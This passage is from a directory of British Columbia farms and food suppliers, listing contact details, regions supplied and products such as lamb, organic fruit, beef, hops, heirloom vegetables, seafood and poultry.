#### Goat Milk Varieties - Year Round

Our Goat's Milk arrived on the island from Abbotsford - where the animals are cared for by an award-winning farmer and a leading authority on the North American Goat Industry. The farm is "transitional organic" meaning they are currently undergoing the accreditation process necessary to guarantee the organic nature of their farming practices. Due to the meticulous feeding practices at the farm there is a distinct mild flavour to all the cheeses we produce. Cooking with our goat cheeses enhances the pungency - but not too overpoweringly.

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## Holly Hill Farm - 250-245-9557

**Contact:** Penny Stapleton

**Toll Free:** Unavailable

**Phone:** 250-245-9557

**Cell:** 250-713-1984

**Fax:** Unavailable

**Email:** [hollyhillfarm@telus.net](mailto:hollyhillfarm@telus.net)

**Website:** [www.hollyhillfarmlamb.com](http://www.hollyhillfarmlamb.com)

### **Address:**

3038 Hill Rd

Ladysmith, BC

V9G1C1

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

Federally inspected Premium Vancouver Island lamb, born and raised on my farm. These lambs are fed only milk, hay, grass and a limited amount of grain to balance their nutrition and to maintain health. No medications are used beyond those necessary to insure the health and well being of the animal. Should a lamb require health interventions such as antibiotics, strict protocols are maintained and these animals are not sold as prime lamb. Holly Hill Farm has been raising lamb on Vancouver Island for over 35 years and has recently moved to a new 28 acre farm in South Cedar, BC (just south of Nanaimo).

Our lamb is uniquely tender, juicy and mildly flavored because the animals are processed at peak finish with a balance of fat, lean and bone between the ages of 12 and 16 weeks. Holly Hill Farm is currently following the guidelines laid out by the Canadian Sheep Federation "On Farm Food Safety Program" and will be seeking certification under this program as soon as it becomes economically possible in BC.

### **Products Available:**

#### Lamb Burgers - Year Round

Lamb burger patties: Seasoned or plain (various seasoning options if pre-ordered) standard is salt, pepper and garlic. Gluten free with no binders or extenders added. Machine formed from CFIA inspected lamb and sheep meat (not fatty trim) Average weight per patty 5 oz but can be increased or decreased via special order. Wholesale packaging options 5, or 10 lbs boxes with peach paper separators and plastic box liners. For an additional cost patties can be cry-o-vaced in groups of 8 or 12 and boxed (minimum 10 lb order).

#### Lamb - Year Round

Freezer Lamb My predominantly Polled Dorset ewes lamb naturally lamb year round so the meat you buy in March will have the same flavor profile and excellent eating characteristics as the lamb you buy in Oct. Dorset ewes are excellent mothers who are heavy milkers (they are a very old breed historically used as "milk sheep") and the lambs grow very quickly. By selecting for good mothering, out of season lambing, and large mature body size I have insured the lambs will grow quickly without growth enhancers on a minimum of grain. At peak finish lambs average 55 to 70 lbs hanging weight. They are available wholesale as full or 1/2 carcasses or can be cut and wrapped into retail cuts of your choice for an additional cost.

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## Hoodoo Ranch - 250-458-2441

**Contact:** Beverly Sidnick

**Toll Free:** Unavailable

**Phone:** 250-458-2441

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [hoodooranch.ca@telus.net](mailto:hoodooranch.ca@telus.net)

**Website:** [www.hoodoooranch.ca](http://www.hoodoooranch.ca)

**Address:**

PO Box 171

Spences Bridge, BC

V0K 2L0

**Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

**Company Notes:**

**Products Available:**

Certified Organic Peaches - Fall,Summer

Certified Organic Peaches: Veteran, Harbrite, Cresthaven, Early Red Haven,Red Haven, pacific Gold, Harrow Diamond, Raritan Rose, White Hale, J.H. Hale, Glohaven

Certified Organic Cherries - Spring,Summer

Available Seasonally, Van, Bing, Lappin, Lambert, Royal Anne, Sam, Schatten Morello, Montmorency

Certified Organic Apricots - Spring,Summer

Available Seasonally, Skaha, Goldstrike, Perfection, Moorpark, Goldbar, Blenheim

Certified Organic Pears - Fall,

Available Seasonally, Comice, Red Anjou, 20th Century, Flemish Beauty, Chojuro, Anjou, Bosc

Certified Organic Apples - Fall,Summer

Available Seasonally, Jonagold, Granny Smith, Russet Free Golden Delicuios, Golden Delicuios, Red Gravenstein, Cox Orange, Royal Gala, Red Max Macintosh, Summerland Macintosh, Spartan, Sunrise, Mutsu, Empire, Akane, Golden Russet, Fuji

Certified Organic Plums - Summer

Available Seasonally, Early Italian, Late Italian, Green Gage, Shiro, Canada, Red Heart, Santa Rose, Friar



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## Hopcott Premium Meats - 604-465-7799

**Contact:** Mike Lindsay

**Toll Free:** Unavailable

**Phone:** 604-465-7799

**Cell:** Unavailable

**Fax:** 604-465-7731

**Email:** [info@hopcottmeats.ca](mailto:info@hopcottmeats.ca)

**Website:** [www.hopcottmeats.ca](http://www.hopcottmeats.ca)

### **Address:**

18385 Old Dewdney Trunk Road

Pitt Meadows , BC

V3Y 2R9

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

Loca Beef available l-from our farm, Healthy-no hormones & antibiotics, Tender-dry aged 28 days, Quality "AAA" product - raising beef for 3 generations.

We also offer quality, local grocery items as well and local freshly picked vegetables available seasonally grown on our farm.

### **Products Available:**

#### Beef - Year Round

Specialty beef, from our farm. No hormones, antibiotics, and all veg. fed. Dry-aged 28 days resulting in ultimate tenderness.

#### Specialty Chicken - Year Round

We offer Specialty Chicken available from small local farms. No hormones, antibiotics, and all vegged.

#### Specialty Port Cuts -

We offer Specialty Pork available from small local farms. No hormones, antibiotics, and all vegged.

#### Deli products - Jerky, Sausage, Deli Meats - Year Round

We have our own smokehouse, where we make pepperoni, sausage, deli meats, jerky etc. All made with our specialty beef, chicken and pork. Very low fat & salt content and preservatives. Gluten-free

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## Hopcott Premium Meats - 604-465-7799

**Contact:** Jenn Hopcott

**Toll Free:** Unavailable

**Phone:** 604-465-7799

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@hopcottmeats.ca](mailto:info@hopcottmeats.ca)

**Website:** <http://www.hopcottmeats.ca>

### **Address:**

18385 Old Dewdney Trunk Road

Pitt Meadows, BC

V3Y 2R9

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

We are a 3rd generation family run butcher shop located on our family farm, committed to bringing quality, local, farm fresh products direct to your table.

From our no added hormone or steroid beef, to our local produce, to our specialty grocery selection, let our friendly, knowledgeable team help you make healthy choices for your family & friends.

### **Products Available:**

#### Hopcott Beef - Year Round

Naturally Raised -No added hormones, steroids or antibiotics.Grass forage fed while on the ranches & finished on a high roughage diet of a mixture of our own grass & corn silage,along with limited amounts of high quality grain.We believe in humane animal management and animal welfare is a top priority. - Local -The animals are born on 1 of 3 ranches, which we visit on a regular basis, and spend the first half of their lives roaming the land. The Anderson Family at Kane Lake Ranch in Lumby, BC The Pincott Family at Pincott Ranch in 100 Mile House, BC The Andrews Family at Big Smokey Ranch in Merrit, BC. They then spend the next half of their lives on our farm, right next door to the store, where we have full quality control. - Quality & Taste -We use the traditional method of aging our AAA Grade beef by hanging it on the rail and dry aging it for 28 days, as opposed to more common wet aging in cryovac bags.Dry aging allows the natural enzymes to slowly tenderize the meat & evaporate the moisture to create a more concentrated & enhanced depth of flavour. For this reason,we do not need to needle our beef. - Selection -We are a full custom butcher shop that handle the entire animal.We also have fully trained butchers who specialize in the breaking down and cutting of complete animal carcasses. For these reasons,we able to offer our customers a vast array of beef cuts.Know your butcher. Know your food.See here for a list <http://www.hopcottmeats.ca/Beef>

#### Hopcott Chicken - Year Round

Our chicken comes from high quality birds grown by local poultry farmers within the Fraser Valley. Our birds are free run and are raised on a wheat based diet. Free run means the birds are given the freedom to wander around an enclosed barn. Our chicken is raised without added growth hormones, as per Canadian regulations. They are not fed antibiotics and are HACCP certified. <http://www.hopcottmeats.ca/Poultry>

#### Hopcott Pork - Year Round

We heavily support Johnstons.The pigs are raised without hormones and are grain fed a tasty blend of wheat, barley and corn. Their primary protein sources include canola and soybean meal, and they are given lots of room to grow. Sow and piglets diets have added fats to increase energy level and plenty of vitamins and minerals are added to the pigs diet, to ensure healthy and strong animals. Human handling practices and animal welfare are extremely important in the production of high quality pork, and Johnston\'s is no exception.<http://www.hopcottmeats.ca/Pork>

#### Hopcott Deli and Sausages - Year Round

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Our customers rely on us to feed their families. Mothers are proud to send their children to school with a sandwich stuffed with Hopcott meats or serve up a platter of assorted sausages at a Sunday BBQ. Breakfast just isn't the same without our bacon, and you'll never snack on another brand once you try our beef jerky. After all, all natural meats just taste better!<http://www.hopcottmeats.ca/Deli>

#### Produce At Hopcott Farms - Fall, Summer

we grow our own non GMO corn on the cob and spray-free strawberries, raspberries & tay berries as well as brussels sprouts, cauliflower, and cranberries. In the summer, our produce is as fresh as can be, and we also sell frozen fruit mixes year-round. Outside of our own produce, we also sell local, seasonal fruits and vegetables grown at farms in the Fraser Valley, Lower Vancouver Island and the South Okanagan. Only in the winter months, when local produce is difficult to find, is it necessary to carry some items from the USA, such as yams, lemons, avocados and other organic items. After all, you can't live on meat alone, although sometime we know you'd like to.<http://www.hopcottmeats.ca/Produce>

#### Non GMO Corn - Summer

Available Seasonally

#### Berries - Summer

Spray Free Strawberries, Raspberries & Tayberries. Available Seasonally

#### Brussels Sprouts & Cauliflower - Summer

Available Seasonally

#### Cranberries - Fall,

Available Seasonally

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## Hops Connect - Hop Trading Company Ltd. - 604-358-4677

**Contact:** Daniel Collins

**Toll Free:** Unavailable

**Phone:** 604-358-4677

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@hopsconnect.com](mailto:info@hopsconnect.com)

**Website:** [www.hopsconnect.com](http://www.hopsconnect.com)

**Address:**

7320 Industrial Way

Pemberton, BC

V0N 2L0

**Regions Supplied:** All of BC

**Company Notes:**

Hops Connect is a grower, processor and distributor of non-organic and organic hops throughout BC and Western Canada. Hops Connect provides consultant services, pelleting, packaging and logistic solutions for the farming community and the craft beer industry. Hops Connect is located in Pemberton, BC.

**Products Available:**

Hops - Year Round

Non-Organic and Organic Hops - 15 different Varieties of Hops - Cascade Hops, Centennial Hops, Chinook Hops, Columbus Hops, Fuggle Hops, Golding Hops, Hallertauer Hops, Magnum Hops, Mt. Hood Hops, Nugget Hops, Perle Hops, Sterling Hops, and Willamette Hops

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## Hosting Nation - Unavailable

**Contact:** Unavailable  
**Toll Free:** Unavailable  
**Phone:** Unavailable  
**Cell:** Unavailable  
**Fax:** Unavailable  
**Email:** [Unavailable](#)  
**Website:** Unavailable

**Address:**

, BC

**Regions Supplied:**

**Company Notes:**

**Products Available:**

No products listed.

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## Hosting Nation's Test - Unavailable

**Contact:** Rick Lawrence

**Toll Free:** Unavailable

**Phone:** Unavailable

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [Unavailable](#)

**Website:** Unavailable

**Address:**

, BC

**Regions Supplied:**

**Company Notes:**

**Products Available:**

No products listed.

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## Hshs - 6969696999

**Contact:** Hshs

**Toll Free:** Unavailable

**Phone:** 6969696999

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [dennsyahputra2900@gmail.com](mailto:dennsyahputra2900@gmail.com)

**Website:** Unavailable

**Address:**

Hssh

Ududu, Hshdd

69696

**Regions Supplied:**

**Company Notes:**

**Products Available:**

No products listed.

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## Inis Eile Farm - 250 629-3964

**Contact:** Martha McMahon

**Toll Free:** Unavailable

**Phone:** 250 629-3964

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [penderislandfarm@gulfislands.com](mailto:penderislandfarm@gulfislands.com)

**Website:** Unavailable

**Address:**

4501 Bedwell Hbr. Rd.

Pender Island, BC

V0N 2M1

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Gulf Island Lamb. This lamb has the wonderful mild flavour of Gulf Island Lamb. The lamb from this farm has the special attribute of coming from a flock of Rare Breeds Cotswold sheep. These sheep are on Rare Breeds Canada's critical list of endangered breeds. Speciality local lamb from this flock provides a way of returning these endangered breeds to a position of economic viability on small farms and thus helps support efforts at bio-diversity and genetic conservation of farm animals. Inis Eile Farm is in the process of developing Farm Stay opportunities and on-farm artisan wool products from the flock of Rare Breeds Cotswold sheep

**Products Available:**

Lamb - Year Round

Gulf Island Lamb. This lamb has the wonderful mild flavour of Gulf Island Lamb. The lamb from this farm has the special attribute of coming from a flock of Rare Breeds Cotswold sheep. These sheep are on Rare Breeds Canada's critical list of endangered breeds. Speciality local lamb from this flock provides a way of returning these endangered breeds to a position of economic viability on small farms and thus helps support efforts at bio-diversity and genetic conservation of farm animals



## Iron Gates Natural Farm & Pottery - 250-453-2273

**Contact:** Jan Krueger

**Toll Free:** Unavailable

**Phone:** 250-453-2273

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [jankrueg@telus.net](mailto:jankrueg@telus.net)

**Website:** Unavailable

### **Address:**

Box 855

Ashcroft, BC

V0K 1A0

### **Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

### **Company Notes:**

Most of our squashes and melons are grown from seeds collected by Native Seeds/Search of Tuscon, Arizona or the Seeds of Change organization. Our focus is in crops that have adapted to our northern growing conditions and have unique qualities of flavor and storability.

### **Products Available:**

Fruits & Berries - Fall, Spring, Summer

Raspberries, Red and Black Currants, Nanking Cherries (a small red or white, semi-sweet cherry). Make excellent jams and sauces, whites look like large pearls. Bing and Van cherries, Apricots, Peaches, Green Gage Plums, Japanese Plums (small red plum with an orange flesh), Bartlett Pears.

Apples - Fall,

Mackintosh, Gravenstein, Transparent, Gala, Kings, Bramley, Empire, Wealthy, Sunrise, Belle de Boscoop, Spartan, Roxbury Russet, Newtown Pippin

Garlic - Fall,

Italian Red garlic, hard necked; Chesnock garlic, hard necked; Georgian Fire garlic, hard necked; Russian Red garlic, hard necked; Lorz Italian garlic, soft necked; German red garlic, hard necked (in development, available in 2006).

Onions - Fall,

Utah White onion (large, sweet white onion that is also used as a green onion when young), Utah Yellow onion (large, sweet yellow onion), Red Whitherspoon onion (flattened sweet red onion), Egyptian onion (a top setting onion, small in size, used as a shallot, pink colour when peeled, pungent when raw.) All onion varieties are good keepers.

Carrots - Fall, Summer

Nantes and Touchon Deluxe Carrots

Beets - Fall, Summer

Firnabiva Beets (cylindrical beet, very sweet flavour and a good keeper)

Potatoes - Fall, Summer

White Rose potato (fine textured potato having an elongated shape, much favoured by European customers in the West End farm market). Victoria yellow potato.

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#### Beans - Summer

Green and Yellow Beans

#### Corn - Fall,

Golden Jubilee corn

#### Spinach - Summer

Spinach

#### Butter Lettuce - Spring,Summer

Butter Lettuce

#### Peas - Summer

Sugar and Standard Peas

#### Tomatoes - Fall,

Black from Tula (a greenish, black to purple tomato having a fantastic flavour); Cherokee Purple (a greenish, purple tomato with great flavour); Brandywine (a large-sized red tomato with great flavour).

#### Peppers - Fall,

Buran (a medium sized pepper with a tender skin and sweet flesh); Napoleon Sweet (a larger sweet pepper); Lemon Drop (a hot, small yellow pepper); Cyklon (an elongated, hot red pepper).

#### Cucumber - Fall,

Armenian Cucumber: a long, thin, lime-green cucumber having an edible skin and mild flavour.

#### Squashes - Heirloom - Fall,

Early Canadian Crook Necked Squash: a yellow, warty-surfaced, summer squash that doesn't cook down to mush. Penasco: a flattened, white to bluish, hard skinned Hubbard-like squash, fine textured and sweet. Average weight 15 lbs (heirloom). Mayo Blusher: a bluish, elongated squash with pinkish or orange colouring washing over the undercolour. Fine-textured with a flavour similar to sweet potato. Average weight 15-20 lbs (heirloom). Fordhook Acorn: a buff-coloured acorn-type squash. Guatemalan Blue Banana squash: an elongated, bluish-coloured squash (heirloom). Thelma Sanders Sweet Potato squash: a teardrop-shaped squash (heirloom). Kobacha: a buttercup-style squash with dense flesh and small seed cavity. True Pie Pumpkin, 4-7 lb: pumpkin that has a dense flesh that makes superior pumpkin purees (heirloom). Guatamala Blue Banana Squash: a large, dark orange-fleshed squash having a cylindrical shape (heirloom). Spaghetti squash.

#### Melons - Heirloom - Fall,

Black Mountain watermelon: a black, red-fleshed watermelon. Sweet Siberian watermelon: an elongated, yellow-fleshed watermelon. Santo Domingo deep ribbed: a large, heavy, orange-fleshed melon, green to light yellow coloring, excellent rich melon flavour and aromatic. Oka melon: a Canadian heirloom from the Montreal area. Deep-ribbed, netted skin with orange, very sweet flesh and very aromatic. Banana melon: elongated, orange-fleshed melon with a green skin, on trial this year. Emerald gem melon: light-green, slightly netted skin with orange flesh, on trial this year. Prescott Fond Blanc melon: a deep-ribbed, warty-surfaced melon with orange flesh, on trial this year. Charentais melons.

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## Iron Maiden Seafoods - 250-642-3551

**Contact:** Gigi Egan

**Toll Free:** Unavailable

**Phone:** 250-642-3551

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [cfvironmaiden@shaw.ca](mailto:cfvironmaiden@shaw.ca)

**Website:** [www.wildseafoods.ca](http://www.wildseafoods.ca)

### **Address:**

6201 Hensbro Place

East Sooke, BC

V0S 1N0

### **Regions Supplied:**

- North Coast
- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### **Company Notes:**

Iron Maiden Seafoods is owned and operated by a third-generation commercial fishing family. We harvest only Wild, Premium/Export and Sashimi Grade seafood. This is the finest that our BC fleet produces. Each fish is landed aboard our commercial fishing vessel, CFV Iron Maiden, and is handled by ourselves, ensuring quality and pride in what we produce. We practice only sustainable harvesting methods.

### **Products Available:**

#### Albacore Tuna - Year Round

Wild, troll FAS, whole, off-shore Pacific Ocean. Tuna Loin Chunks 200 - 350 g, cold-smoked Tuna Loin Chunks 200 - 350 g.

#### Side Stripe Shrimp - Year Round

Wild, FAS, IQF, whole or head/off (40-50 Ct). Harvested on the Northern BC/Alaskan border. Hand-peeled, cooked shrimp meat - salad size, gold board, 200 - 227 g. Large shrimp tails packaged in a frozen seawater tub, 227 g.

#### Salmon - Year Round

Wild, troll FAS, H & G, Queen Charlotte Islands, spring (chinook), coho and pink salmon. Our wild seafood is also available in frozen, vacuum-sealed portions. Specific sizing available upon request. Spring (chinook) fillet portions: 200-350 g. Coho fillet whole sides: 650-1000 g. Coho steaks: 200-350 g. Pink fillet whole sides: 454-650 g. Smoked white spring (chinook) candied salmon: 454 g. Smoked pink candied salmon: 200 g. Smoked red spring (chinook) chunks: 200 - 350 g. Smoked pink fillet sides: 300 - 600 g. Cold smoked spring (chinook) lox: pre-sliced, gold boards, 112 g.

## J & K Poultry Ltd. - 604-253-8292

**Contact:** Scott Barrett  
**Toll Free:** Unavailable  
**Phone:** 604-253-8292  
**Cell:** Unavailable  
**Fax:** 604-253-3110  
**Email:** [jkpoultry@telus.net](mailto:jkpoultry@telus.net)  
**Website:** [www.jkpoultry.com](http://www.jkpoultry.com)

**Address:**  
771 East Cordova Street  
Vancouver, BC  
V6A 1M2

**Regions Supplied:**  
- Vancouver/Mainland

### Company Notes:

J & K Poultry specializes in servicing Vancouver's fine hotels, restaurants, pubs, meat markets, and fund-raising groups. We are centrally located near the downtown core, which enables us to meet our customers' needs promptly and efficiently. We feel our customers continue to do business with us because we understand how to meet their exacting product and service requirements. J & K Poultry is an environmentally-conscious company. We currently supply plastic totes to many of our customers, and we recycle all of our cardboard materials. We welcome your inspection of our modern plant at any time. Please see our website for more information.

### Products Available:

#### Chicken - Breasts - Year Round

Bone-in; Bone-in Split; Bone-in SL; Bone-in WJO; Fronts (whole wing on); Breast BL; Breast BL/SL (sized); Breast BL/SL (random); Breast BL/SL (tender out); Breast BL WJO. All available.

#### Chicken - Satay, Souvlaki, Stirfry, Diced, Combo - Year Round

Chicken Satay Stick 1-1/2 oz (Chicken Tender); Chicken Satay Stick 1 oz (Chicken Tender); Chicken Satay Stick 2 oz (Chicken Tender); Chicken Satay Stick 3 oz (Chicken Tender); Chicken Satay Stick 4 oz (Chicken Tender); Chicken Satay Stick 5 oz (Chicken Tender); Chicken Satay Stick 6 oz (Chicken Tender); Chicken Souvlaki Stick Dark Meat 1 oz; Chicken Souvlaki Stick Dark Meat 2 oz; Chicken Stirfry/Fajita Combo; Chicken Stirfry/Fajita - Dark Meat; Chicken Stirfry/Fajita - White Meat; Diced Chicken Combo (White & Dark); Chicken Cutlet Combo. All available.

#### Chicken Fryers - Year Round

Fryer Grade  $\hat{\epsilon}$  Large; Fryer Grade  $\hat{\epsilon}$  Small; Fryer Split Large; Fryer Split Small; Fryer 12 - Cut Large; Fryer 12 - Cut Small; Fryer 10 - Cut Large; Fryer 10 - Cut Small; Fryer 9 - Cut Large; Fryer 9 - Cut Small; Fryer 8 - Cut Large; Fryer 8 - Cut Small; Fryer 4 - Cut Large; Fryer 4 - Cut Small; Fryer Small Semi-Deboned.

#### Chicken Parts - Year Round

Chicken Leg Bone-in;Chicken Leg Bone-in Split;Chicken Leg Bone-in SL;Chicken Leg BL;Chicken Leg BL/SL;Chicken Leg Bone-in, Back Attached;Chicken Drumsticks;Chicken Thigh Bone-in;Chicken Thigh Bone-in SL;Chicken Thigh BL;Chicken Thigh BL/SL;Chicken Thighs 4 - Cut BL/SL;Chicken Wings Whole;Chicken Wings Middles;Chicken Wings Split;Chicken Drumettes;Ground Chicken Combo (50-50) Blend;Ground Chicken Dark Meat;Ground Chicken White Meat;Chicken Liver;Chicken Hearts;Chicken Breast Bones;Chicken Back & Necks;Chicken Feet;Chicken Trim;Grade • Fowl;Whole Grade • Roasters;Roaster Drumettes;Roaster Split Wings;Frozen Chicken;Chicken Breast Bone-in;Chicken Breast BL;Chicken Breast BL/SL;Chicken Breast BL WJO;Chicken Tenders 5 kg;Chicken Tenders IQF 10 kg;Chicken Stirfry/Fajita Combo 10 kg;Chicken Breast BL (Smoked);Whole Fryer (Small) Roto (Neck Off);Fryer 9 - Cut Large;Grade • Fowl;Chicken Leg Bone-in;Chicken Leg Bone-in, Back-Attached;Chicken Thigh Bone-in;Chicken Thigh BL/SL 5 kg;Chicken Drumsticks;Chicken Wings Whole;Chicken Drumettes;Chicken Split Wings (Bulk);Chicken Wings Split IQF;Chicken Wing Middles;Whole Grade • Roasters;Roaster Split Wings;Roaster Drumettes;Chicken Liver - Mono Cups 1 lb;Chicken Breast Bones;Chicken Back & Necks;Chicken Feet 10 kg;Chicken Hearts;Chicken Trim;Chicken Meat, Mechanically Deboned.

#### Turkey - Year Round

Whole Grade • Turkey - Fresh;Whole Grade • Turkey - Frozen;Whole Grade • Turkey Hen - Fresh;Whole Turkey Hen - Frozen;Whole Grade • Turkey Tom - Fresh;Whole Grade • Turkey Tom - Frozen;Line Run Turkey - Frozen;Line Run Turkey - Fresh;Whole Utility Turkey Over-11 kg - Fresh;Whole Utility Turkey Over-11 kg - Frozen;Whole Deboned Turkey - Fresh;Banquet Style Semi-Deboned Turkey;Bone-in Turkey Breast WJO, BL Legs & All Bones;Turkey Breast Bone-in - Fresh;Turkey Breast Bone-in - Frozen;Turkey Breast Bone-in WJO - Fresh;Turkey Breast BL - Fresh;Turkey Breast BL - Frozen;Turkey Breast BL WJO - Fresh;Turkey Breast BL/SL - Fresh;Turkey Breast BL/SL - Frozen;Turkey Medallions - Fresh;Turkey Cutlets (White Meat) - Fresh;Turkey Cutlets (White/Dark Meat) - Fresh;Turkey Cutlets (Dark Meat) - Fresh;Turkey Tenders - Fresh;Turkey Tenders - Frozen;Turkey Leg Bone-in - Fresh;Turkey Leg Bone-in - Frozen;Turkey Leg Thigh Bone Removed - Fresh;Turkey Thigh Bone-in - Fresh;Turkey Thigh Bone-in - Frozen;Turkey Thigh BL - Fresh;Turkey Thigh BL - Frozen;Turkey Thigh BL/SL - Fresh;Turkey Thigh BL/SL - Frozen;Turkey Drumsticks - Fresh;Turkey Drumsticks - Frozen;Ground Turkey Combo (50-50) - Fresh;Ground Turkey Combo (50-50) - Frozen;Ground Turkey Dark Meat - Fresh;Ground Turkey White Meat - Frozen;Turkey Carcass - Fresh;Turkey Carcass - Frozen;Turkey Necks - Fresh;Turkey Necks - Frozen;Turkey Wings Whole - Frozen;Turkey Wings Whole - Fresh;Turkey Liver - Frozen;Turkey Hearts - Frozen;Non-Med Whole Turkey - Fresh;Non-Med Whole Turkey - Frozen;Non-Med Turkey Breast BL;Turkey Farmer Sausage Smoked - Fresh;Turkey Roast (White/Dark) Cooked - Fresh;Turkey Salami - Fresh;Turkey Beer Sausage - Fresh;Turkey Breast Bell Peppers - Fresh;Turkey Breast Sun Dried Tomato - Fresh;Turkey Breast Black Forest Roast - Fresh;Turkey Breast Maple Smoked - Fresh;Turkey Breast Black Forest Roast - Frozen;Turkey Breast Cooked (White) Roast - Frozen;Turkey Breast Raw (White) Roast - Frozen;Turkey Breast BL Smoked - Frozen;Turkey Breast Maple Smoked - Frozen;Turkey Roast (White/Dark) Raw With Salt - Frozen;Turkey Roast (White/Dark) Raw Salt Free - Frozen;Sliced Turkey Bacon - Frozen;Turkey Ham Style - Frozen;Turkey Back Bacon White Meat - Frozen;Turkey Schnitzel - Frozen;Turkey Breakfast Sausage - Frozen;Turkey Sausage with Sun Dried Tomato - Frozen;Turkey Mechanically Deboned - Frozen.

#### Fraser Valley Duck - Year Round

Whole Local Fraser Valley Duck - Fresh;Whole Local Fraser Valley Duck - Frozen;Whole Wenzel Duck - Frozen;Duck Breast Bone-in - Fresh;Duck Breast BL - Fresh;Duck Breast BL - Frozen;Duck Breast BL WJO - Fresh;Duck Breast BL WJO - Frozen;Duck Breast BL Tumbled - Frozen;Duck Leg Bone-in - Fresh;Duck Leg Bone-in - Frozen;Duck Leg BL/SL - Fresh;Duck Leg BL - Fresh;Duck Leg Thigh Bone-out - Fresh;Duck Back & Necks - Frozen;Duck Back & Necks - Fresh;Duck Wings Whole - Frozen;Duck Fat Rendered - Frozen;Duck Fat - Frozen;Duck Fat - Fresh;Duck Liver 1 lb Bag - Frozen;Duck Foie Gras - Frozen;Duck Foie Gras - Fresh;Muscovy Ducks Whole - Fresh;Muscovy Ducks Whole - Frozen;Muscovy Duck Breast BL - Frozen;Muscovy Duck Breast BL - Fresh;Muscovy Duck Leg Bone-in - Fresh;Muscovy Duck Leg Bone-in - Frozen;Duck & Cranberry Sausage - Frozen;Duck Breast BL Smoked - Frozen;Duck Breast BL Smoked (Local) - Frozen;Duck Meat Ground - Fresh.

#### Cornish Game Hen - Year Round

Cornish Game Hen 1 lb - Frozen;Cornish Game Hen 1 lb - Fresh;Cornish Game Hen BL 16 oz - Fresh;Poussin Whole - Fresh;Poussin Whole - Frozen;Poussin Whole BL - Fresh;Cornish Game Hens Stuffed BL - Frozen;Cornish Game Hens Split - Fresh;Cornish Game Hens Split - Frozen;Cornish Game Hens - Fresh;Cornish Game Hens - Frozen;Cornish Game Hen BL Breast - Fresh;Cornish Game Hen (Whole Deboned) - Fresh.

#### Guinea Hens - Year Round

Guinea Hens - Fresh;Guinea Hens - Frozen;Guinea Hen BL Breast WJO 7.25 - Fresh;Guinea Hen BL Breast WJO 7.25 - Frozen.

#### Rabbit - Year Round

Rabbit Bones - Frozen;Rabbit Hind Quarter - Frozen;Rabbit Whole - Fresh;Rabbit Whole - Frozen;Rabbit Saddles - Frozen.

#### Silkies - Poultry - Year Round

Silkies Whole - Fresh;Silkies Whole - Frozen.

#### Squab - Poultry - Year Round

Squab Whole - Fresh;Squab Whole - Frozen;Squab Breast BL WJO - Fresh.

#### Partridge - Year Round

Partridge Whole - Fresh;Partridge Whole - Frozen.

#### Chicken - Cordon - Year Round

Cordon Canadiana - Broccoli & Cheddar;Cordon Princess - Asparagus & Edam;Cordon West Coast - Smoked Salmon & Cream Cheese;Cordon Bleu - Smoked Ham & Edam;Cordon Mexicana - Salsa/Peppers & Cream Cheese;Cordon Chicken A La Mer - Shrimp, Crab & Cream Cheese;Cordon Florentine - Spinach & Cream Cheese;Cordon California - Sun dried Tomato & Camembert;Cordon Chicken Florentine Seasoned (Non Breaded);Cordon Chicken Kiev - Seasoned Butter & Chives;Cordon Risotto - Wild Rice, Onion, Red Pepper & Wine.

#### Wide Variety of Chicken Parts - Year Round

Chicken Breaded Breast Fillet;Cooked ½ Diced Chicken;Cooked ¼ Diced Chicken;Cooked ¾ Diced Chicken;Chicken Fingers Fully Cooked;Chicken Fingers Pan Fried;Chicken Tasty Strips;Chicken Fingers Pan Fried;Cooked Hot & Spicy Wings;Julienne Cooked Chicken;Chicken Burgers (Chopped & Formed);Chicken Nuggets;Dinosaur Shaped Chicken Nuggets;Raw Chicken Breast Burgers;Chicken Sausage;Chicken Sausage With Apple;Honey & Garlic Chicken Wings;IQF - Cooked Split Chicken Wings;Fully Cooked Chicken Breast BL/SL Grill Marked;IQF 3 oz Chicken Breast BL/SL;IQF 4 oz Chicken Breast BL/SL;IQF 5 oz Chicken Breast BL/SL;IQF 6 oz Chicken Breast BL/SL;IQF 7 oz Chicken Breast BL/SL;IQF 8 oz Chicken Breast BL/SL;IQF Random Chicken Breast BL/SL.

#### Non-Med Specialty Chicken - Year Round

Non-Med Fryer Whole - Frozen;Non-Med Fryer Whole - Fresh;Non-Med Split Fryer - Fresh;Non-Med Utility Fryer Whole - Fresh;Non-Med Front Halves - Fresh;Non-Med BL Chicken Breast;Non-Med BL Chicken Breast WJO - Frozen;Non-Med BL Chicken Breast WJO - Fresh;Non-Med Legs BL/SL - Frozen;Non-Med Legs BL/SL - Fresh;Non-Med Legs - Frozen;Non-Med Legs - Fresh;Non-Med Chicken Back & Necks - Frozen;Non-Med Chicken Back & Necks - Fresh;Non-Med Split Wings - Fresh.

#### Geese, Goose - Year Round

Geese Whole Grade "A" - Fresh;Geese Whole Grade "A" - Frozen;Goose Breast Margrey Smoked - Frozen.

#### Pheasant - Year Round

Pheasant Breast BL WJO 5/6 oz - Frozen;Pheasant Breast BL WJO 6/7 oz - Frozen;Pheasant Breast BL WJO 7/8 oz - Frozen;Pheasant Back & - Frozen;Pheasant Back & Necks - Fresh;Pheasant Leg Bone-in - Fresh;Pheasant Leg Bone-in - Frozen;Pheasant Leg BL - Fresh;Pheasants Whole - Frozen;Pheasants Whole - Fresh.

#### Quail - Year Round

Quail Breast BL WJO - Frozen;Quail BL (Small) - Frozen;Quail BL Sleeved - Fresh;Quail Eggs - Fresh;Quail Large Whole - Fresh;Quail Large Whole - Frozen;Quail Small Whole - Frozen;Quail BL - Frozen.

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## J. Beethoven's Corned Beef Ltd. - 604 858-5104

**Contact:** Michael Vitow

**Toll Free:** Unavailable

